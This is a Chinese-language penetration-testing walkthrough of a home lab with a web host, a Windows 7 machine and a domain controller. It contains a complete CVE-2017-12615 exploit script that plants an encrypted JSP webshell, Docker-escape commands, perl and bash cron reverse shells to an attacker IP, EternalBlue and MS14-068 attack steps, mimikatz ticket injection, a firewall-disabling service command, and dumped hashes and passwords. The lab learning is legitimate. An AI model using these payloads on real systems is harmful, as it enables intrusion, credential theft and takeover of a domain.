因为兼容性已经似了两个靶场,求求你别似了

环境搭建

两张网卡,一张VMnet0和VMnet1都是仅主机模式

image-20241115220741988

web靶机

image-20241115221245366

win7

image-20241115221326010

DC

image-20241115221401258

靶场拓扑图

image-20241115221119472

我们启动之后要去web靶机里面启动三个容器服务

image-20241115222514020

我们启动前三个容器服务即可

然后我们的攻击机自然也要在VMnet0的网段

好欸靶机终于活了一次了😭

机器密码

  • ubuntu:ubuntu 域成员机器
  • douser:Dotest123 DC
  • administrator:Test2008(改成 Admin123 因为过期了)

考点描述

本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞

靶场学习路径,可参考

  • st漏洞利用
  • phpmyadmin getshell
  • tomcat 漏洞利用
  • docker逃逸
  • ms14-068
  • ssh密钥利用
  • 流量转发
  • 历史命令信息泄露
  • 域渗透

信息收集

先用arp-scan扫一下同一网段内的主机,指定对应的网卡接口

arp-scan -I eth1 -l

image-20241115223747881

那可以得知192.168.157.128就是我们的外网web靶机

接下来用nmap进行端口扫描

nmap -sT -sV 192.168.157.128

扫出来下面的服务

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 09:39 EST
Nmap scan report for 192.168.157.128
Host is up (0.0013s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open http Jetty 9.2.11.v20150529
2002/tcp open http Apache Tomcat 8.5.19
2003/tcp open http Apache httpd 2.4.25
MAC Address: 00:0C:29:E3:C5:36 (VMware)
Service Info: Host: 172.19.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.90 seconds

可以看到三个开放端口都有服务,2001、2002、2003,22的ssh服务一般先跳过

然后上fscan扫一下漏洞吧

都能扫出来相关的漏洞

192.168.157.128:2002 open
192.168.157.128:2001 open
192.168.157.128:2003 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://192.168.157.128:2002 code:200 len:11230 title:Apache Tomcat/8.5.19
[*] WebTitle http://192.168.157.128:2001 code:200 len:1077 title:Struts2 Showcase - Fileupload sample
[+] PocScan http://192.168.157.128:2002 poc-yaml-iis-put-getshell
[+] PocScan http://192.168.157.128:2002 poc-yaml-tomcat-cve-2017-12615-rce
[+] PocScan http://192.168.157.128:2001 poc-yaml-struts2_045 poc1

不是他怎么2003端口没扫出来洞呢🤔,这按理来说应该是有的吧

外网打点

tomcat任意文件写入漏洞

那就不管了先来看一下他的服务吧,看一下tomcat-cve-2017-12615-rce漏洞,这是一个tomcat的任意文件写入漏洞

直接用msf搜一下有没有相关的tomcat的cve

search cve-2017 tomcat

image-20241115230446678

找到了一个对应的rce漏洞,那就打一下试试

use exploit/multi/http/tomcat_jsp_upload_bypass
show payloads
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.157.129
set rhost 192.168.157.128
set rport 2002
run

然后就能弹一个shell回来了

image-20241115230644472

不过这样操作起来不太方便,去找payload上传一个冰蝎的shell,方便我们后续上传木马

网上随便找到一个exp:https://www.cnblogs.com/confidant/p/15440233.html

#CVE-2017-12615 EXP
__author__ = '纸机'
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>'''
#上传木马文件
def upload(url):
print('[*] 目标地址:'+url)
try:
respond = requests.put(url+filename+'/',headers=headers,data = data)
#print(respond.status_code)
if respond.status_code == 201 or respond.status_code == 204:
#print('[*] 目标地址:'+url)
print('[+] 木马上传成功')
except Exception as e:
print('[-] 上传失败')
return 0

#命令执行
def attack(url,cmd):
try:
respond = requests.get(url+payload+cmd)
if respond.status_code == 200:
print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

except Exception as e:
print('[-] 命令执行错误')
if upload(url) == 0:
exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
cmd = input('>>>')
if(cmd == 'quit'):
break
attack(url,cmd)
python cve-2017-tomcat.py -u http://192.168.157.128 -p 2002

image-20241115232125447

然后冰蝎连接

image-20241115232227130

看一下基本信息

image-20241115232453454

可以看到docker环境,也可以用下面命令判断

grep 'docker' /proc/1/cgroup

docker逃逸

题目考点有提到docker逃逸的知识点,那就看一下docker逃逸要怎么利用,参考:https://wiki.teamssix.com/CloudNative/Docker/container-escape-check.html

看一下是否是特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

image-20241115234729102

根据文章检测下来只有特权模式能够利用,其他服务可能也存在,但这里tomcat的服务刚好能利用,就继续进行下去

查看挂载磁盘设备

fdisk -l

image-20241115235254326

在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下

mkdir /test && mount /dev/sda1 /test

尝试访问宿主机 shadow 文件,可以看到正常访问

cat /test/etc/shadow

image-20241115235506075

那么我们就可以写入定时任务反弹shell然后拿到的权限也是宿主机的root权限

echo $'* * * * * perl -e \'use Socket;$i="192.168.157.129";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' > /test/var/spool/cron/crontabs/root

但是为了方便操作还是看一下能不能写ssh公钥来连接吧

先看一下有没有.ssh文件

find / -name .ssh

image-20241116000516621

发现了ubuntu的.ssh文件地址

/test/home/ubuntu/.ssh

那就可以写ssh公钥然后远程登录了

生成本地密钥对

ssh-keygen -t rsa

以前生成过可以直接用

image-20241116000827045

写进authorized_keys

image-20241116001043435

欸我去忘记了这是仅主机模式了,我termius连不了,只能用kali的ssh,而且我试了一下还连不上就逆天,还是要我输入密码,不知道是不是我格式写错了(我发现直接传也不行)

那就还是反弹shell吧

image-20241116003807417

怪了,写进去又弹不过来了,红温了😡

换成bash弹一下看看

echo "* * * * * bash -i >& /dev/tcp/192.168.157.129/8888 0>&1" > /test/var/spool/cron/crontabs/root

红温了还是不行

那就只能用john去爆一下密码了

把/etc/shadow的内容保存下来,然后直接john爆破

image-20241116102516524

轻松爆出密码为ubuntu,然后用ssh远程登录一下

ssh ubuntu@192.168.157.128

然后看一下eth1的地址信息,就是内网地址的信息

ifconfig eth1

image-20241116111716201

可以知道内网地址192.168.183.128

Struts2漏洞

2001是一个struts2服务,直接上工具:https://github.com/abc123info/Struts2VulsScanTools/releases/tag/v19.32

直接能扫出rce漏洞

image-20241116230437845

那利用也很简单,干啥都行了,马也随便你上传,就不多演示了

内网渗透

frp反向代理

现在我们呢就拿下一台跳板机了,为了方便顺便熟悉一下frp,这里搭个代理进去,然后可以直接扫一下内网

参考教程:https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/12.%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/03.%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/03.%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F.html

先将本地的frp上传到ubuntu的机器上去

scp -r frp ubuntu@192.168.157.128:/home/ubuntu/

image-20241116105558626

这里有点要注意,他上传的时候会直接找你当前目录下的frp目录,所以如上图要现在ubuntu目录下创建一个frp目录

kali的frp服务端配置frps.toml

bindPort = 49378
auth.token = "helloxx.6haha7789"
#port,token自定义 保持客户端与服务端一致即可

然后启动服务器

./frps -c ./frps.toml

image-20241116110345584

ubuntu的客户端frpc.toml配置

serverAddr = "192.168.157.129" # 改为 VPS 的 IP 地址
serverPort = 49378
auth.token = "helloxx.6haha7789"

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 60051
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

然后启动客户端

./frpc -c ./frpc.toml

image-20241116111031630

然后现在就能通过60051端口走socks5代理访问内网了

再配置一下proxychains4工具的配置文件

vim /etc/proxychains4.conf

配置

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 127.0.0.1 9050
# socks5 192.168.172.132 7777
# socks5 127.0.0.1 8989
socks5 127.0.0.1 60051 0HDFt16cLQJCB JTN276Gp1A

这里一开始socks5忘记加上用户名和密码了,导致msf访问的时候被拒绝连接了

信息搜集

那就直接上fscan扫内网了

proxychains ./fscan -h 192.168.183.1/24

扫出的信息如下:

存活主机

(icmp) Target 192.168.183.1   is alive
(icmp) Target 192.168.183.130 is alive
(icmp) Target 192.168.183.128 is alive
(icmp) Target 192.168.183.129 is alive

可以看到其他两台的地址都扫出来了

端口信息

192.168.183.128:22 open
192.168.183.1:7680 open
192.168.183.129:445 open
192.168.183.130:445 open
192.168.183.129:139 open
192.168.183.1:445 open
192.168.183.130:139 open
192.168.183.129:135 open
192.168.183.1:139 open
192.168.183.130:135 open
192.168.183.1:135 open
192.168.183.130:88 open

漏洞信息

[*]192.168.183.130
[->]WIN-ENS2VR5TR3N
[->]192.168.183.130
[*] NetInfo
[*]192.168.183.129
[->]TESTWIN7-PC
[->]192.168.183.129
[+] MS17-010 192.168.183.129 (Windows 7 Enterprise 7601 Service Pack 1)
[+] MS17-010 192.168.183.130 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[*] NetBios 192.168.183.130 [+] DC:WIN-ENS2VR5TR3N.demo.com Windows Server 2008 HPC Edition 7601 Service Pack 1

win7的主机有MS17-010永恒之蓝漏洞,winServer2008应该是域控也有一个永恒之蓝

那就先打win7吧直接

打win7

通过porxychains启动msf

proxychains msfconsole

image-20241116174820036

然后上永恒之蓝的扫描模块试一下,主要是测试能不能通

use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.183.129
run

image-20241116175834529

可以看到是成功扫出来了ms17-010,那就直接开打!

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #因为主机在内网,所以我们这里需要用正向的shell
set target Windows\ 7
set RHOSTS 192.168.183.129
set rhost 192.168.183.129
run

一顿超时之后终于是拿到了meterpreter

image-20241116180809503

getuid看一下

image-20241116180833768

欸发现已经是SYSTEM权限了

那就直接不同提权了,直接常规先拿一下账号密码之类的信息

load kiwi
creds_all
msv credentials
===============

Username Domain NTLM SHA1
-------- ------ ---- ----
TESTWIN7-PC$ DEMO e3ba914bdaca29c197c7191ebf521873 68a1422322c303e4c24d63f381a03b34eb434477
douser DEMO bc23b0b4d5bf5ff42bc61fb62e13886e c48096437367aad00ac2dc70552051cd84912a55

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
TESTWIN7-PC$ DEMO /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8
He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
douser DEMO Dotest123

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
douser DEMO.COM (null)
testwin7-pc$ demo.com /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32
i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
testwin7-pc$ DEMO.COM /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32
i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
testclone:1001:aad3b435b51404eeaad3b435b51404ee:8d8e04036d33ed20f5c2f6ad77e28bb7:::

那现在win7就拿下了,但是我想shell获得cmd窗口一直不行不知道为什么

image-20241116183521507

又一直出现拒绝连接了

蚌埠住了我更新了msf想重新打试试的,结果直接给win7打蓝屏和死机了

后来可以之后他还是拿不到cmd

image-20241116203423166

后面还想将msf派生到cs上面,但是不会派生正向的shell,我看网上大部分都是先cs上线了一台主机然后创建中转监听的,没找到直接派生正向shell的

打域控

那这次用不上cs,直接msf一路杀

先继续尝试一下我们刚刚扫出来的永恒之蓝

image-20241116211150550

ok打了两遍失败了,那就试试其他的吧

考点也说了用到了ms14-068漏洞,用msf搜索了一下只有验证漏洞的,没有利用漏洞的程序

image-20241116211428215

笑死后来发现这也是利用的,因为这个模块多用于信息收集

看了一下win7,作者贴心的把工具都给我们附上了

image-20241116212028478

利用原理参考文章:https://www.cnblogs.com/feizianquan/p/11760564.html

直接把工具从win7那拿过来方便一下

download C:\\Users\\douser\\Desktop\\MS14-068.exe /home/kali/Desktop

漏洞利用条件:

1.域控没有打MS14-068的补丁(KB3011780)

2.拿下一台加入域的计算机

3.有这台域内计算机的域用户密码和Sid

我们还差一个sid没有抓取到,要去抓取一下

红温了,这会话又断了,受不了了,直接去win7那里偷一个sid过来(S-1-5-21-979886063-1111900045-1414766810-1107),douser用户的

正常能拿cmd的话直接whoami /all或者whoami /user就能看到sid了

或者用meterpreter的run post/windows/gather/credentials应该也可以

工具利用的命令如下:

MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>

完了xs才发现这是exe程序,Linux用不了,那就改参考这篇文章的其他打法:https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/12.%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/04.%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/04.%E5%9F%9F%E6%8E%A7%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E.html#cve-2014-6324%EF%BC%88ms14-068%EF%BC%89

看了半天得作罢了感觉😭,基本都是在cmd下操作或者直接开启远程桌面上去操作

简单记一下流程吧,下面的操作是在win7的cmd上执行的,参考这篇文章:https://blog.csdn.net/zy15667076526/article/details/116059592

首先用ms14-068伪造票据

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

他会生成一个票据文件,然后用mimikatz来注入

mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中

然后就可以查看域控或者列出其c盘的文件了

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

还可以通过sc命令来创建服务执行命令,比如关闭防火墙

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

关闭防火墙之后就可以直接永恒之蓝上线了其实

之前失败是因为被防火墙拦截

一些清除痕迹的操作

klist purge #卸载凭据
klist #查看票据

获取交互式shell

现在是成功注入了凭证

然后我们可以利用PsExec.exe获取一个交互式的shell

PsExec.exe -accepteula -s \\10.10.10.19 cmd.exe

远程登录操作

可以直接用永恒之蓝获取密码之后redesktop登录